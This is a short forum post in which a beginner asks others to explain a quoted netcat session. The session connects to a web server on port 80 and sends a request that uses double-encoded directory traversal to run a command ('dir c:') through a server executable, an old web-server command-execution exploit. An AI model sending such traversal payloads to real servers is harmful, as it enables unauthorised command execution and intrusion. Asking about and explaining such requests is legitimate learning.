hey guys, i'm a noob and i'm confused about this command script written as a netcat command script. can someone translate this script?? i mean what each part is for.

for example, the script is:

C:TMP/NC/nc -v -n ristbook 80
ristbook [128.1.71.103] 80 http (open)
get http://ristbook/scripts/..%255c../wi....exe?/c+dir+c:

I understand that netcat is logged in to ristbook port 80, but what does the command script mean?? (after ristbook [128.1.71.103] 80 http (open))